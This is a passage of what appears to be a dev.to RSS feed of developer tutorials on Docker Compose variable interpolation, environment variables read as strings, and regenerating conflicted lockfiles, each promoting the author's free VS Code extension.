&lt;p&gt;Source (MIT): &lt;a href="https://github.com/jay-tank/entrycheck" rel="noopener noreferrer"&gt;github.com/jay-tank/entrycheck&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full write-up&lt;/strong&gt; (every error explained, the BOM fix, how it resolves container paths, limitations, FAQ): &lt;a href="https://jaytank.hashnode.dev/entrycheck-fix-exec-entrypoint-no-such-file-or-directory" rel="noopener noreferrer"&gt;exec /entrypoint.sh: no such file or directory? Fix CRLF, shebangs and chmod&lt;/a&gt;&lt;/p&gt;

</description>
      <category>docker</category>
      <category>vscode</category>
      <category>devops</category>
      <category>linux</category>
    </item>
    <item>
      <title>The "DB_PASSWORD" variable is not set. Defaulting to a blank string: fixing unset ${VAR} in Docker Compose</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Wed, 07 Oct 2026 03:26:40 +0000</pubDate>
      <link>https://dev.to/jaytank/the-dbpassword-variable-is-not-set-defaulting-to-a-blank-string-fixing-unset-var-in-docker-2j1j</link>
      <guid>https://dev.to/jaytank/the-dbpassword-variable-is-not-set-defaulting-to-a-blank-string-fixing-unset-var-in-docker-2j1j</guid>
      <description>&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WARN[0000] The "DB_PASSWORD" variable is not set. Defaulting to a blank string.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compose prints that, then starts the stack anyway. The database exits, or the app connects with an empty password, and you only find the yellow line by scrolling back up. The frustrating part: &lt;code&gt;DB_PASSWORD&lt;/code&gt; is right there in &lt;code&gt;app.env&lt;/code&gt;, which the service loads with &lt;code&gt;env_file:&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two stages, two sets of files
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Interpolation&lt;/strong&gt; happens on your machine when Compose reads the YAML. &lt;code&gt;${VAR}&lt;/code&gt; and &lt;code&gt;$VAR&lt;/code&gt; are filled from your shell, &lt;code&gt;--env-file&lt;/code&gt;, or the project &lt;code&gt;.env&lt;/code&gt; next to the compose file. Nothing else. If a variable is missing and has no default, it becomes &lt;code&gt;""&lt;/code&gt; with a warning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Container environment&lt;/strong&gt; comes later. &lt;code&gt;env_file:&lt;/code&gt; and &lt;code&gt;environment:&lt;/code&gt; decide what the process inside the container sees. &lt;code&gt;app.env&lt;/code&gt; is read here, so it can never fill a &lt;code&gt;${...}&lt;/code&gt; in the compose file.&lt;/p&gt;

&lt;p&gt;Two more traps from the same root cause:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;environment: [DEBUG]&lt;/code&gt; with nothing set on the host is silently dropped, no warning.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;command: sh -c 'echo $CACHE_DIR'&lt;/code&gt; is interpolated &lt;strong&gt;from your laptop&lt;/strong&gt; while the file loads. Quotes are just YAML text. Write &lt;code&gt;$$CACHE_DIR&lt;/code&gt; if the container should expand it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The request to make this fail by default is years old: &lt;a href="https://github.com/docker/compose/issues/5505" rel="noopener noreferrer"&gt;docker/compose#5505&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# require it: Compose stops with an error instead of a blank&lt;/span&gt;
&lt;span class="na"&gt;POSTGRES_PASSWORD&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${DB_PASSWORD:?DB_PASSWORD is required}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Put interpolation variables in the project &lt;code&gt;.env&lt;/code&gt;, escape container-side ones as &lt;code&gt;$$&lt;/code&gt;, and never commit &lt;code&gt;${DB_PASSWORD:-hunter2}&lt;/code&gt;. &lt;code&gt;docker compose config&lt;/code&gt; shows the result, but only when you run it, and it prints secrets in clear text.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catch it in the editor
&lt;/h2&gt;

&lt;p&gt;I built &lt;strong&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=jaytankdev.composevars" rel="noopener noreferrer"&gt;ComposeVars&lt;/a&gt;&lt;/strong&gt;, a free VS Code extension that reads your compose files and the env files Compose would read (&lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;include:&lt;/code&gt; env files, and &lt;code&gt;--env-file&lt;/code&gt; / &lt;code&gt;COMPOSE_ENV_FILES&lt;/code&gt; found in &lt;code&gt;package.json&lt;/code&gt;, &lt;code&gt;Makefile&lt;/code&gt; or &lt;code&gt;justfile&lt;/code&gt;). Six rules, CV001 to CV006: unset variables, &lt;code&gt;.env&lt;/code&gt; keys nothing uses, pass-through env that is not set, missing &lt;code&gt;env_file&lt;/code&gt; paths, host-side &lt;code&gt;$VAR&lt;/code&gt; in commands, and committed secret defaults. Quick Fixes add &lt;code&gt;:?&lt;/code&gt;, &lt;code&gt;:-&lt;/code&gt;, &lt;code&gt;$$&lt;/code&gt; or an &lt;code&gt;.env.example&lt;/code&gt; entry, and hovering a variable shows where its value comes from.&lt;/p&gt;

&lt;p&gt;Secret-looking values are always masked, files outside the workspace are never read, and there is no network or telemetry. It cannot see your shell, so a variable you always &lt;code&gt;export&lt;/code&gt; needs to go in &lt;code&gt;composeVars.ignoreVariables&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It gets its own activity bar icon with a badge, and a &lt;strong&gt;Findings&lt;/strong&gt; panel listing each problem by variable name, with inline Quick Fixes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;code --install-extension jaytankdev.composevars
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Source (MIT): &lt;a href="https://github.com/jay-tank/composevars" rel="noopener noreferrer"&gt;github.com/jay-tank/composevars&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full write-up&lt;/strong&gt; (every rule, the interpolation syntax, limitations, FAQ): &lt;a href="https://jaytank.hashnode.dev/composevars-variable-is-not-set-defaulting-to-blank-string" rel="noopener noreferrer"&gt;The "DB_PASSWORD" variable is not set. Defaulting to a blank string&lt;/a&gt;&lt;/p&gt;

</description>
      <category>docker</category>
      <category>devops</category>
      <category>vscode</category>
      <category>productivity</category>
    </item>
    <item>
      <title>DEBUG=false but my app still runs in debug mode: why an environment variable "false" is true</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Fri, 02 Oct 2026 03:47:39 +0000</pubDate>
      <link>https://dev.to/jaytank/debugfalse-but-my-app-still-runs-in-debug-mode-why-an-environment-variable-false-is-true-575l</link>
      <guid>https://dev.to/jaytank/debugfalse-but-my-app-still-runs-in-debug-mode-why-an-environment-variable-false-is-true-575l</guid>
      <description>&lt;p&gt;You put &lt;code&gt;DEBUG=false&lt;/code&gt; in &lt;code&gt;.env&lt;/code&gt;, restart, and the app is still in debug mode. If you have searched "environment variable false is true" or "os.getenv boolean", here is the whole explanation: &lt;strong&gt;an environment variable is always a string, and &lt;code&gt;"false"&lt;/code&gt; is a non-empty string, so it is truthy.&lt;/strong&gt; Python's &lt;code&gt;os.getenv&lt;/code&gt;, Node's &lt;code&gt;process.env&lt;/code&gt; and Vite's &lt;code&gt;import.meta.env&lt;/code&gt; all hand you text, never a bool or a number.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;DEBUG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DEBUG&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;      &lt;span class="c1"&gt;# True for DEBUG=false
&lt;/span&gt;&lt;span class="n"&gt;WORKERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;WORKERS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;   &lt;span class="c1"&gt;# TypeError when WORKERS is unset
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;FEATURE_BETA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;enableBeta&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;  &lt;span class="c1"&gt;// runs for FEATURE_BETA=false&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PORT&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;            &lt;span class="c1"&gt;// "30001", not 3001&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(A made-up example, but the same bug as the Django forum thread &lt;a href="https://forum.djangoproject.com/t/env-variables-can-never-seem-to-be-false/24968" rel="noopener noreferrer"&gt;"ENV variables can never seem to be False"&lt;/a&gt; and &lt;a href="https://github.com/theskumar/python-dotenv/issues/291" rel="noopener noreferrer"&gt;python-dotenv #291&lt;/a&gt;.)&lt;/p&gt;

&lt;h2&gt;
  
  
  The traps
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Truthiness:&lt;/strong&gt; &lt;code&gt;if os.getenv("DEBUG"):&lt;/code&gt;, &lt;code&gt;!!process.env.FLAG&lt;/code&gt;, &lt;code&gt;bool(...)&lt;/code&gt;: true for &lt;code&gt;"false"&lt;/code&gt;, &lt;code&gt;"0"&lt;/code&gt; and &lt;code&gt;"no"&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Boolean literals:&lt;/strong&gt; &lt;code&gt;process.env.FLAG === true&lt;/code&gt; and &lt;code&gt;os.getenv("X") == True&lt;/code&gt; are always false.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Numbers:&lt;/strong&gt; &lt;code&gt;"3000" + 1&lt;/code&gt; is &lt;code&gt;"30001"&lt;/code&gt; in JS; in Python &lt;code&gt;os.getenv("PORT") + 1&lt;/code&gt; raises &lt;code&gt;TypeError&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unset values:&lt;/strong&gt; &lt;code&gt;int(os.getenv("X"))&lt;/code&gt; and &lt;code&gt;JSON.parse(process.env.X)&lt;/code&gt; crash when &lt;code&gt;X&lt;/code&gt; is missing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mixed defaults:&lt;/strong&gt; &lt;code&gt;os.environ.get("RETRIES", 3)&lt;/code&gt; is a &lt;code&gt;str&lt;/code&gt; when set and an &lt;code&gt;int&lt;/code&gt; when not.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;Read a string, convert once:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;DEBUG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DEBUG&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;yes&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;on&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;WORKERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;WORKERS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;debug&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;true&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;yes&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;on&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DEBUG&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PORT&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;3000&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Defaults should be strings too, so there is only ever one type to convert. Presence checks such as &lt;code&gt;if not os.getenv("API_KEY"): raise&lt;/code&gt; are fine. Only flags need parsing.&lt;/p&gt;

&lt;h2&gt;
  
  
  A linter for it in VS Code
&lt;/h2&gt;

&lt;p&gt;I built &lt;strong&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=jaytankdev.envtruth" rel="noopener noreferrer"&gt;EnvTruth&lt;/a&gt;&lt;/strong&gt;, a free VS Code extension for Python and JS/TS. Five rules (ET001 to ET005) cover the traps above, and each finding has a Quick Fix that writes the parse for you. Run on the snippet above, it reports &lt;code&gt;DEBUG is a string, so "false", "0" and "no" are all truthy&lt;/code&gt; and &lt;code&gt;"PORT + 1" concatenates ("3000" + 1 is "30001") instead of adding&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It has its own activity bar icon with a badge and an &lt;strong&gt;Env checks&lt;/strong&gt; panel grouped by file, and hovering an env read shows where the variable is defined (&lt;code&gt;.env&lt;/code&gt;, compose, Kubernetes) with secrets masked. It skips presence checks on names like &lt;code&gt;API_KEY&lt;/code&gt; and &lt;code&gt;DATABASE_URL&lt;/code&gt;, and treats any variable your &lt;code&gt;.env&lt;/code&gt; sets to &lt;code&gt;true/false/0/1&lt;/code&gt; as a flag. No network, no telemetry, and it never runs a process.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;code --install-extension jaytankdev.envtruth
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Source (MIT): &lt;a href="https://github.com/jay-tank/envtruth" rel="noopener noreferrer"&gt;github.com/jay-tank/envtruth&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full write-up&lt;/strong&gt; (why env vars are strings in Python, Node and Vite, the number-trap table, all five rules, limitations, FAQ): &lt;a href="https://jaytank.hashnode.dev/envtruth-environment-variable-false-is-true" rel="noopener noreferrer"&gt;DEBUG=false but my app still runs in debug mode&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>javascript</category>
      <category>node</category>
      <category>vscode</category>
    </item>
    <item>
      <title>How to fix package-lock.json merge conflicts (and yarn.lock, poetry.lock, go.sum) the right way</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Thu, 01 Oct 2026 03:35:05 +0000</pubDate>
      <link>https://dev.to/jaytank/how-to-fix-package-lockjson-merge-conflicts-and-yarnlock-poetrylock-gosum-the-right-way-3hpf</link>
      <guid>https://dev.to/jaytank/how-to-fix-package-lockjson-merge-conflicts-and-yarnlock-poetrylock-gosum-the-right-way-3hpf</guid>
      <description>

&lt;p&gt;You rebase on &lt;code&gt;main&lt;/code&gt; and git stops:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CONFLICT (content): Merge conflict in package-lock.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The usual reflexes are all wrong:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Hand-editing the markers away&lt;/strong&gt; gives you a dependency tree no resolver would produce.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Accept Both Changes"&lt;/strong&gt; leaves duplicate JSON keys or invalid TOML/YAML.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accepting one side&lt;/strong&gt; looks fine, but the other branch's new dependencies are silently missing from the lock.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The rule
&lt;/h2&gt;

&lt;p&gt;A lockfile is a build output of the manifest. So:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Resolve the &lt;strong&gt;manifest&lt;/strong&gt; (&lt;code&gt;package.json&lt;/code&gt;, &lt;code&gt;pyproject.toml&lt;/code&gt;, &lt;code&gt;Cargo.toml&lt;/code&gt;, &lt;code&gt;go.mod&lt;/code&gt;...) by hand.&lt;/li&gt;
&lt;li&gt;Give the tool a lockfile it can read.&lt;/li&gt;
&lt;li&gt;Let the tool regenerate the lock.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;npm, Yarn and pnpm can read a conflicted lockfile and merge both sides themselves. The others need one clean side first: &lt;code&gt;git checkout --ours -- &amp;lt;lockfile&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The command table
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Lockfile&lt;/th&gt;
&lt;th&gt;Start from&lt;/th&gt;
&lt;th&gt;Regenerate with&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;package-lock.json&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;conflicted file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;npm install --package-lock-only --ignore-scripts&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;yarn.lock&lt;/code&gt; (v1)&lt;/td&gt;
&lt;td&gt;conflicted file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn install --ignore-scripts&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;yarn.lock&lt;/code&gt; (berry)&lt;/td&gt;
&lt;td&gt;conflicted file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn install --mode=update-lockfile&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pnpm-lock.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;conflicted file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pnpm install --lockfile-only --ignore-scripts&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;poetry.lock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--ours&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;poetry lock&lt;/code&gt; (Poetry 2) / &lt;code&gt;poetry lock --no-update&lt;/code&gt; (Poetry 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;uv.lock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--ours&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv lock&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Cargo.lock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--ours&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cargo update --workspace&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;go.sum&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--ours&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;go mod tidy&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;composer.lock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--ours&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;composer update --lock --no-install --no-scripts&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Gemfile.lock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--ours&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bundle lock&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Pipfile.lock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--ours&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pipenv lock&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two gotchas: during a &lt;strong&gt;rebase&lt;/strong&gt;, &lt;code&gt;--ours&lt;/code&gt; is the branch you rebase onto, not yours. And for Cargo, skip &lt;code&gt;cargo generate-lockfile&lt;/code&gt;: it upgrades everything, which turns a merge into an upgrade.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;--ignore-scripts&lt;/code&gt; is a deliberate choice: you are regenerating a lockfile, not building, so there is no reason to run install scripts from packages you have not reviewed.&lt;/p&gt;

&lt;h2&gt;
  
  
  One click in VS Code
&lt;/h2&gt;

&lt;p&gt;I built &lt;strong&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=jaytankdev.locksettle" rel="noopener noreferrer"&gt;LockSettle&lt;/a&gt;&lt;/strong&gt;, a free VS Code extension that runs this routine for you. It flags conflicted lockfiles (ten types, monorepos included), refuses and opens the manifest if that is still conflicted, shows you the exact command in a confirmation dialog, runs it as a visible task in the right folder, then checks for leftover markers and offers to stage the file. Every command is overridable. No network, no telemetry, nothing runs in an untrusted workspace.&lt;/p&gt;

&lt;p&gt;It also gets its own activity bar icon with a badge, and a &lt;strong&gt;Conflicted lockfiles&lt;/strong&gt; panel with Regenerate and Open manifest buttons.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;code --install-extension jaytankdev.locksettle
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Source (MIT): &lt;a href="https://github.com/jay-tank/locksettle" rel="noopener noreferrer"&gt;github.com/jay-tank/locksettle&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full write-up&lt;/strong&gt; (why each tool differs, Yarn berry and Poetry 2 details, safety design, FAQ): &lt;a href="https://jaytank.hashnode.dev/locksettle-fix-lockfile-merge-conflicts" rel="noopener noreferrer"&gt;How to fix package-lock.json merge conflicts the right way&lt;/a&gt;&lt;/p&gt;

</description>
      <category>git</category>
      <category>npm</category>
      <category>python</category>
      <category>vscode</category>
    </item>
    <item>
      <title>Your app broke after git pull? The after-pull checklist every team forgets</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Wed, 30 Sep 2026 03:37:04 +0000</pubDate>
      <link>https://dev.to/jaytank/your-app-broke-after-git-pull-the-after-pull-checklist-every-team-forgets-394n</link>
      <guid>https://dev.to/jaytank/your-app-broke-after-git-pull-the-after-pull-checklist-every-team-forgets-394n</guid>
      <description>&lt;p&gt;You pull, start the app, and get &lt;code&gt;Cannot find module 'zod'&lt;/code&gt;. You reinstall. Now it is &lt;code&gt;relation "invoice_lines" does not exist&lt;/code&gt;. You migrate. Then a crash because &lt;code&gt;STRIPE_WEBHOOK_SECRET&lt;/code&gt; is undefined, since someone added it to &lt;code&gt;.env.example&lt;/code&gt; and your &lt;code&gt;.env&lt;/code&gt; never got it.&lt;/p&gt;

&lt;p&gt;The pulled code was fine every time. Your &lt;strong&gt;environment&lt;/strong&gt; fell behind: git updates the files that describe it (lockfiles, migrations, &lt;code&gt;.env.example&lt;/code&gt;, Dockerfiles, &lt;code&gt;.nvmrc&lt;/code&gt;), but not the installed packages, database, &lt;code&gt;.env&lt;/code&gt; or containers they describe.&lt;/p&gt;

&lt;h2&gt;
  
  
  The checklist
&lt;/h2&gt;

&lt;p&gt;After a pull, merge or checkout, diff the old HEAD against the new one and look for:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
